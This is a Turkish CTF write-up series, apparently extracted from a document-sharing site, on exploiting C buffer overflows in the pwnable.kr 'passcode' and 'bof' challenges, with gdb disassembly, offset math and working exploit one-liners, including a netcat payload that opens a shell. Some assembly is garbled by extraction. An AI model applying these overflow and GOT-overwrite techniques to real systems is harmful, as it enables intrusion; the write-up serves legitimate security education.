Scanf e & sız Değer Atama

Benzer belgeler
C İLE BUFFER OVERFLOW-2

Linux Assembly Programlamaya Giriş

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

PROGRAMLAMAYA GİRİŞ DERS 2

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN

NESNEYE YÖNELİK PROGRAMLAMA

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi

Sınav tarihi : Süre : 60 dak. a) strstr b) strchr c) strcat d) strcpy e) strlen. a) b) d) e) 0

Yrd. Doç. Dr. Caner ÖZCAN

BBM 341 Sistem Programlama

KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr)

Yrd. Doç. Dr. Caner ÖZCAN

SIMAN KULLANIM KILAVUZU

BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN

Telefon Rehberi Uygulaması

BİL 220 Sistem Programlamaya Giriş

Fonksiyonlar. C++ ve NESNEYE DAYALI PROGRAMLAMA 51. /* Fonksiyon: kup Bir tamsayının küpünü hesaplar */ long int kup(int x) {

BLM 112- Programlama Dilleri II. Hafta 5 İşaretçiler (Pointers)

BLM 111 ALGORİTMA VE PROGRAMLAMA I

Temel Bilgisayar Programlama Final Sınavı Çalışma Notları

HSancak Nesne Tabanlı Programlama I Ders Notları

Hafta 12 Karakter Tutan Diziler

INTEGER OVERFLOW ***************************************************************/

GENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI. ENF102 Jeoloji 1. #include <stdio.h> printf Fonksiyonu ÖRNEK. printf

C dilinde if-else yapısı

BM-209 Nesne Yönelimli Programlama. Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü

8086 Mikroişlemcisi Komut Seti

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

C Programlama Dilinde Değişkenler

Sınav tarihi : Süre : 60 dak.

Akış Şeması (Flowchart) nedir? C Programlamaya giriş için yol haritası

Kabuk Programlama (Bash)

Özyineleme (Recursion)

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-3 İşaretçiler (Pointer) (Kısım-2)

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.

PROGRAMLAMAYA GİRİŞ FONKSİYONLAR

Qt ile Bir Ağ Uygulaması

Diziler (Arrays) Çok Boyutlu Diziler

8. İŞARETCİLER (POINTERS)

Diziler. Yrd.Doç.Dr.Bülent ÇOBANOĞLU

Giriş. ENF102 Jeoloji

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

FONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır.

C Programlama printf() Fonksiyonu

Fonksiyonlar (Altprogram)

Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat

Exploit.CVE Analizi

BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET

AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ

İstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER

JSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı

Programlama Dilleri 1. Ders 4: Diziler

BİL-142 Bilgisayar Programlama II

Adresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar

YAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ. 3. Hafta

/ C Bilgisayar Programlama Yıliçi Sınavı Test Soruları. Adı soyadı :... Öğrenci no :... İmza :... Tarih, Süre : , 60 dak.

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes

ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER

int faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); }

Çoktan Seçmeli Değerlendirme Soruları Akış Şemaları İle Algoritma Geliştirme Örnekleri Giriş 39 1.Gündelik Hayattan Algoritma Örnekleri 39 2.Say

C# nedir,.net Framework nedir?

Sınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD

Dr. Fatih AY Tel: fatihay@fatihay.net

Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı Ver:01

C Konsol ve Komut Satırı

KONTROL VE OTOMASYON KULÜBÜ

Öğr. Gör. Serkan AKSU 1

CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI

Python Programlama Dili

DİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II

Exploit Nedir, Nasıl Kullanılır?

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat

Şehmus POLAT Teknoloji Fakültesi

Final Sınavı Soruları Güz, Süre: 90 Dakika

İNTERNET PROGRAMCILIĞI - II

DÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()

Android Ders Notları

ESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN

Genel Programlama II

Hafta 13 Fonksiyonlar

Temel Linux Eğitimi 1., 2. ve 3. Bölümler

while(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO

Önemli noktalar. Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance

BİL 220 Sistem Programlamaya Giriş

STRİNG DİZİLER(KATARLAR)

MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş

Adım Adım C-II. Eksik kalmış konular

BÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI. C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir.

/* Çember alanını hesaplar */

Bölüm 10. Altprogramların gerçeklenmesi ISBN

WebInstaller. 1. Kurulum Đçin Gereksinimler

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-12 Fonksiyonlar. Yrd. Doç. Dr. Ümit ATİLA

Genel Programlama II

Program Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir.

2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır.

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-11 Karakter Diziler. Yrd. Doç. Dr. Ümit ATİLA

Transkript:

Scanf e & sız Değer Atama Bir önceki buffer overflow yazımızda kullandığımız ve genel olarak C kodları ile pentest yaptığımız pwnable.kr sitesine giriyoruz. Play kısmından sorulara geçip passcode resminin üstüne tıklıyoruz. Karşımıza güvenli ssh bağlantısı ile server a bağlanmamız ve bağlantının şifresinin guest olduğunu söylüyor. Bağlantımız olduktan sonra ls -l komutu ile bu dizinde ne olduğuna bakıyoruz ve karşımıza 3 dosya çıkıyor. Bir adet flag dosyası, C ile yazılmış adının passcode olduğunu anladığımız bir kod ve bu kodun derlenmiş hali çıkıyor. Yanındaki harfler linuxta kullanılan izinleri sembol eder. Biz şu an kullanıcıyız. Buna göre flag dosyasını açamayız, okuyamayız, değiştiremeyiz. C kodu olan passcode.c yi okuyabiliriz ve derlenmiş olan kodu çalıştırabiliriz. root@kali:~/desktop/hey# ssh passcode@pwnable.kr -p2222 passcode@pwnable.kr's password:

\ \ / \ / _] / ] \ o ) _ o o ) / [_ ' / D ) _/ _] \ / ` ' _ O [ \ \ \ /.. \ \_/\_/ \_ \_ - Site admin : daehee87.kr@gmail.com - IRC : irc.netgarage.org:6667 / #pwnable.kr - Simply type "irssi" command to join IRC now - files under /tmp can be erased anytime. make your directory under /tmp - to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal Last login: Wed Mar 29 15:11:08 2017 from 95.12.113.174 passcode@ubuntu:~$ ls -l total 16 -r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag -r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode -rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c passcode@ubuntu:~$./passcode Toddler's Secure Login System 1.0 beta. enter you name : frk Welcome frk! enter passcode1 : 1234567 Segmentation fault passcode@ubuntu:~$ cat passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1;

int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); int main(){ printf("toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("now I can safely trust you that you have credential :)\n"); return 0; Kodu çalıştırdığımızda adımızı soruyor sonra bir şifre istiyor

ve segment hatası veriyor. Genel olarak koda baktığımızda kodun yapması gereken adımızı sormak sonra iki tane şifre sorup eğer bu şifrelerin biri 338150 diğeride 13371337 ise bize flag dosyasını açmaktır. Lakin kod hata verdi Şimdi sırasıyla login fonksiyonundan bakalım. void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); // burada & işareti konmamış.. fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); // burada da & işareti konmamış.. printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("login OK!\n"); system("/bin/cat flag"); else{ printf("login Failed!\n"); exit(0); Burada hata var. Buradaki scanf lerde & işareti eksik yazılmış. Scanf fonksiyonu adrese atama yapar. Lakin burada adrese atama yapabilmesi için gerekli olan & işareti yok. O zaman derleyici buradaki değişkeni bir adres gibi görüp ona atama yapmaya çalışır ki bu da hatadır. Şimdi buradaki hatayı önceki yazımızda kullanmış olduğumuz gdb debugger ile inceleyelim.

(gdb) disas login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp 0x0804856a <+6>: $0x8048770,%eax 0x0804856f <+11>: %eax,(%esp) 0x08048572 <+14>: 0x8048420 <printf@plt> 0x08048577 <+19>: $0x8048783,%eax => 0x0804857c <+24>: -0x10(%ebp),%edx 0x0804857f <+27>: %edx,0x4(%esp) 0x08048583 <+31>: %eax,(%esp) 0x08048586 <+34>: 0x80484a0 < isoc99_scanf@plt> 0x0804858b <+39>: 0x804a02c,%eax 0x08048590 <+44>: %eax,(%esp) 0x08048593 <+47>: 0x8048430 <fflush@plt> 0x08048598 <+52>: $0x8048786,%eax 0x0804859d <+57>: %eax,(%esp) 0x080485a0 <+60>: 0x8048420 <printf@plt> 0x080485a5 <+65>: $0x8048783,%eax => 0x080485aa <+70>: -0xc(%ebp),%edx 0x080485ad <+73>: %edx,0x4(%esp) 0x080485b1 <+77>: %eax,(%esp) 0x080485b4 <+80>: 0x80484a0 < isoc99_scanf@plt> 0x080485b9 <+85>: l $0x8048799,(%esp) 0x080485c0 <+92>: 0x8048450 <puts@plt> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: l $0x80487a5,(%esp) 0x080485de <+122>: 0x8048450 <puts@plt> 0x080485e3 <+127>: l $0x80487af,(%esp) 0x080485ea <+134>: 0x8048460 <system@plt> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: l $0x80487bd,(%esp) 0x080485f8 <+148>: 0x8048450 <puts@plt> 0x080485fd <+153>: l $0x0,(%esp)

0x08048604 <+160>: 0x8048480 <exit@plt> Burada işaretli kısımlar hemen dikkatimizi çekti. Adrese atanacak değer komutuyla atanmış. Ama bizim bildiğimiz bu değerin adrese lea(load Effective Address) ile atanmış olmasıydı. Yani 0xc(%ebp),%edx şeklinde değilde lea 0xc(%ebp),%edx şeklinde olmalıydı. Şimdi bunu kendi lehimize nasıl kullanabiliriz? Elimizde adrese değilde değişkene değer atamaya çalışan bir scanf var. Burada eğer passcode1 e bir değer atayabilirsek istediğimiz olur. Peki passcode1 e nasıl değer atayacağız? Burada sanırım devreye yine buffer overflow girecek void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("welcome %s!\n", name); Şimdi elimizdeki welcome() fonksiyonuna bir bakarsak 100 karakterli bir string dizisi açılmış ve scanf( %100s, name); baktığımızda program sadece ilk 100 karakteri ele alacak. Burada yeniden bir gdb debugger ile bu fonksiyona bakalım. Dump of assembler code for function welcome: 0x08048609 <+0>: push %ebp 0x0804860a <+1>: %esp,%ebp 0x0804860c <+3>: sub $0x88,%esp 0x08048612 <+9>: %gs:0x14,%eax 0x08048618 <+15>: %eax,-0xc(%ebp) 0x0804861b <+18>: xor %eax,%eax 0x0804861d <+20>: $0x80487cb,%eax 0x08048622 <+25>: %eax,(%esp) 0x08048625 <+28>: 0x8048420 <printf@plt> 0x0804862a <+33>: $0x80487dd,%eax => 0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: %edx,0x4(%esp)

0x08048636 <+45>: 0x08048639 <+48>: < isoc99_scanf@plt> 0x0804863e <+53>: 0x08048643 <+58>: lea 0x08048646 <+61>: 0x0804864a <+65>: 0x0804864d <+68>: 0x08048652 <+73>: 0x08048655 <+76>: xor 0x0804865c <+83>: je 0x0804865e <+85>: < stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret %eax,(%esp) 0x80484a0 $0x80487e3,%eax -0x70(%ebp),%edx %edx,0x4(%esp) %eax,(%esp) 0x8048420 <printf@plt> -0xc(%ebp),%eax %gs:0x14,%eax 0x8048663 <welcome+90> 0x8048440 Yukarıda okla gösterilen kısma dikkat edersek atama lea 0x70(%ebp),%edx ile olmuş. Neden? Çünkü karakter dizilerinin & ihtiyacı yoktur. Zaten ilk elemanının adresini vermiş oluruz. Şimdi biz name isimli değişkeni overflow yapıp passcode1 in üzerine istediğimiz değişkeni atamak istiyoruz. Bunun için bu iki değişken arasındaki offset(konum farkının) bilememiz gerek. name = [ebp-0x70] ; passcode1 = [ebp-0x10] 0x10 = 96 offset = 0x70 Buradan şu sonuç çıkar biz name karakter değişkenini 96 karakter besledikten sonra kalan 4 karakter passcode1 in üzerine yazılır. Şimdi son olarak scanf e aldığımız bu veriyi(şifreyi) bir adrese atamam gerek. Burada scanf in hemen alt satırındaki fflush() fonksiyonunu kullanıyorum. Önce fflush fonksiyonunun adresini bulalım. (gdb) disas fflush Dump of assembler code for function fflush@plt: => 0x08048430 <+0>: jmp *0x804a004 0x08048436 <+6>: push $0x8 0x0804843b <+11>: jmp 0x8048410

End of assembler dump. fflush() fonksiyonu 0x804a004 adresindeymiş. Şimdi overflow dan sonraki değer bu adrese jump(zıplama) yapacak ve son olarak 0x080485e3 adresindeki 134514147 değer ile eşit mi? değil mi? ona bakacak. Burada yine python ile kısa bir script yazıyorum > python c print 96* A + \x04\xa0\x04\x08 + 134514147 passcode@ubuntu:~$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'"./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :) Ve voila flag i buldum :)))) Kaynaklar http://www.nrjfl0w.org/index.php/2016/09/04/passcode-wri teup-pwnable/ http://pwnable.kr/play.php Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik

yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz.

Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz. Ekranda iki indirme bağlantısı ve bir netcat ile server

bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı. Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. root@kali:~/desktop# gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x0000068a <+0>: push %ebp 0x0000068b <+1>: %esp,%ebp 0x0000068d <+3>: and $0xfffffff0,%esp 0x00000690 <+6>: sub $0x10,%esp 0x00000693 <+9>: l $0xdeadbeef,(%esp) 0x0000069a <+16>: 0x62c <func> 0x0000069f <+21>: $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func

Dump of assembler code for function func: 0x0000062c <+0>: push %ebp 0x0000062d <+1>: %esp,%ebp 0x0000062f <+3>: sub $0x48,%esp 0x00000632 <+6>: %gs:0x14,%eax 0x00000638 <+12>: %eax,-0xc(%ebp) 0x0000063b <+15>: xor %eax,%eax 0x0000063d <+17>: l $0x78c,(%esp) 0x00000644 <+24>: 0x645 <func+25> 0x00000649 <+29>: lea -0x2c(%ebp),%eax 0x0000064c <+32>: %eax,(%esp) 0x0000064f <+35>: 0x650 <func+36> 0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x0000065b <+47>: jne 0x66b <func+63> 0x0000065d <+49>: l $0x79b,(%esp) 0x00000664 <+56>: 0x665 <func+57> 0x00000669 <+61>: jmp 0x677 <func+75> 0x0000066b <+63>: l $0x7a3,(%esp) 0x00000672 <+70>: 0x673 <func+71> 0x00000677 <+75>: -0xc(%ebp),%eax 0x0000067a <+78>: xor %gs:0x14,%eax 0x00000681 <+85>: je 0x688 <func+92> 0x00000683 <+87>: 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--0x00000688 <+92>: leave 0x00000689 <+93>: ret End of assembler dump. (gdb) break *0x00000654 Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz.

root@kali:~/desktop/hey# gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x5655562c <+0>: push %ebp 0x5655562d <+1>: %esp,%ebp 0x5655562f <+3>: sub $0x48,%esp 0x56555632 <+6>: %gs:0x14,%eax 0x56555638 <+12>: %eax,-0xc(%ebp) 0x5655563b <+15>: xor %eax,%eax 0x5655563d <+17>: l $0x78c,(%esp) 0x56555644 <+24>: 0x56555645 <func+25> 0x56555649 <+29>: lea -0x2c(%ebp),%eax 0x5655564c <+32>: %eax,(%esp) 0x5655564f <+35>: 0x56555650 <func+36> * 0x56555654 <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x5655565b <+47>: jne 0x5655566b <func+63> 0x5655565d <+49>: l $0x79b,(%esp) 0x56555664 <+56>: 0x56555665 <func+57> 0x56555669 <+61>: jmp 0x56555677 <func+75> 0x5655566b <+63>: l $0x7a3,(%esp) 0x56555672 <+70>: 0x56555673 <func+71> 0x56555677 <+75>: -0xc(%ebp),%eax 0x5655567a <+78>: xor %gs:0x14,%eax 0x56555681 <+85>: je 0x56555688 <func+92> 0x56555683 <+87>: 0x56555684 <func+88> 0x56555688 <+92>: leave 0x56555689 <+93>: ret End of assembler dump. (gdb) break *0x56555654 Breakpoint 1 at 0x56555654 (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd

Breakpoint 1, 0x56555654 in func () (gdb) info registers eax 0xffffd32c -11476 ecx 0xfbad2288-72539512 edx 0xf7fad87c -134555524 ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac000-134561792 eip 0x56555654 0x56555654 <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :)

if(key == 0xcafebabe){ system("/bin/sh"); else{ printf("nah..\n"); int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim

root@kali:~/desktop/hey$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html http://www.nrjfl0w.org/index.php/2016/08/09/pwnable-kr-b of-writeup-toddlers-bottle/ https://morpheuzblog.wordpress.com/2015/11/18/bof/ http://pwnable.kr/play.php Yazar: Ömer Faruk SÖNMEZ C İLE BUFFER OVERFLOW-1 Normalde bu konuyu tek bir yazı ile anlatıp bitirmeyi düşünüyordum. Lakin konunun uzunluğu ve anlaması güç olduğu için iki yazılık bir yazı dizisi şeklinde anlatmayı daha uygun gördüm. Genel olarak bu yazımda buffer overflow un ne olduğundan, C dili ile yazılmış örneklerinden, giriş seviyesinde assembly den ve korunma yöntemlerinden bahsedeceğim. İkinci yazımda ise CTF(Capture The Flag) ne olduğundan, genel

güvenlik konularından ve son olarak C ile yazılmış bir kodu buffer overflow yaparak içinden flag çekmeyi göreceğiz. Buffer Overflow(Arabellek Taşması Zafiyeti) Nedir? Buffer overflow u tanımlayabilmek için önce buffer nedir, onu tanımlamamız gerekiyor. Buffer, hafızada ard arda dizili türde veri tipi (int, char) depolayan hafıza bloğudur. C ve C++ da buffer olarak array leri alıyoruz. Diğer bütün veri türleri gibi, array ler de static yada dinamik olarak sınıflandırılabilirler. Static değişkenler, program hafızaya yüklenirken, programın data segment ine yerleştirilir, dinamik değişkenler ise, program halihazirda calışırken, dinamik olarak stack dedigimiz hafızada program icin hazırlanmış özel bölümde yaratılıp, yokedilirler. İşte buffer overflow dediğimiz olay da, bu dinamik değişkenlerin taşıyabilecekleri veri miktarından fazlasını yükleyerek değişkenin sınırlarını aşmaktır. Kaba bir tabirle, 10 byte veri taşıyabilecek bir array a 20 byte kopyalamak bu buffer ı overflow etmek demektir.

Türkçe özetlersek: Arabellek taşması, değişkenlere varsayılandan büyük veriler girerek taşmaya sebep olunması ve bu sayede istenen bir kodun çalıştırılması olarak tanımlanabilir. Bu zafiyet Assembly, C ve C++ kullanarak yazılmış programlarda bulunmaktadır. Üst seviye programlama dillerinde runtime sırasında gerekli kontroller yapılmaktadır. Bunun en basit örneği C dilinde ki strcpy() fonksiyonudur. strcpy() fonksiyonu birinci string i ikinci string e kopyalar fakat sınır kontrolü yapmaz. Yani eğer biz değişkenlerden herhangi birinin büyüklüğünü statik olarak girmişsek bu programda bellek taşmasına yol açacaktır. #include<stdio.h> #include<stdlib.h> #include<conio.h> #include<string.h> int main() { char Buffer1[5]; char * Buffer2; Buffer2 = "AAAAAOverFlow"; strcpy(buffer2, Buffer1); // işte tam burada Buffer Overflow olacak ve hatası ekrana çıkacaktır. getch(); return 0;

buffer overflow example Kodda görüldüğü gibi ilk 5 byte tan sonra yazılan OverFlow kelimesi tam anlamını yansıtmaktadır. Yani ilk 5 byte a AAAAA yı koyacak ve strcpy() fonksiyonunun herhangi bir sınır kontrolü yapmamasından dolayı geri kalan OverFlow bellek taşmasına yol açacaktır. Bu program çalıştığında Buffer Overrun hatası verecektir. Ama OverFlow sözcüğü program stack ının kritik kısımlarını etkileyecektir. Gel gelelim program stack ı ne demek onu da biraz bilmeliyiz. Stack(Yığın), LIFO (Last In, First Out son gelen ilk çıkar) şeklinde düzenlenmiş bir veri yapısıdır. İşlemci, PUSH ve POP gibi komutlarla stack a veri aktarır, ya da stack dan veri çıkarır, yani stack ten çıkarılacak ilk veri, stack e aktarılan son veri olacaktır. Buradaki PUSH ve POP komutları assembly de kullanılan veri taşıma komutlarıdır. Bir programda fonksiyon çağrıldığında, ilk önce fonksiyon parametreleri yığına(stack) yazılır. Ardından fonksiyondan çıkıldıktan sonra hangi komut çalıştırılacaksa, onun adresi yazılır. Sonrasında fonksiyona girmeden önceki değerini saklamak için BP nin(base Pointer) o andaki değeri ve ardından da BP ye SP nin(stack Pointer) değeri yazılır(function epilogue). Son olarak fonksiyondaki lokal değişkenleri tutmak için bir arabellek(buffer) alanı oluşturulur. Klasik arabellek taşması bu alanın taşırılarak IP ye istenen bir değerin yazılması ve böylece program akışının değiştirilmesi durumudur. Aşağıdaki fonksiyonda girilen parametreyle ilgili hiç bir denetleme bulunmamaktadır. Fonksiyon programcının beklediği biçimde, yani parametre olarak en fazla sekiz karakterlik bir dizi verilerek çağırılırsa yığın Şekil deki gibi olacaktır. void fonksiyon(char* parametre)

{ char arabellek[8]; strcpy(arabellek,parametre); Ancak bu fonksiyon; arabelleği tamamen doldurup, ardından eski BP ye de yazıp fonksiyonun dönüş değerine istenen bir adres yazılacak biçimde de çağırılabilir. Klasik arabellek taşırma saldırısı bu yolla yapılmaktadır. Bu sayede kodun akışı değiştirilebileceği gibi saldırgan tarafından yazılmış bir kod da(shellcode) çalıştırılabilir. Kısacası Buffer Overflow Exploiting bir programdaki programlama hatalarını kullanarak o programın değişkenlerine ve program akışına dışarıdan erişmeye denir.

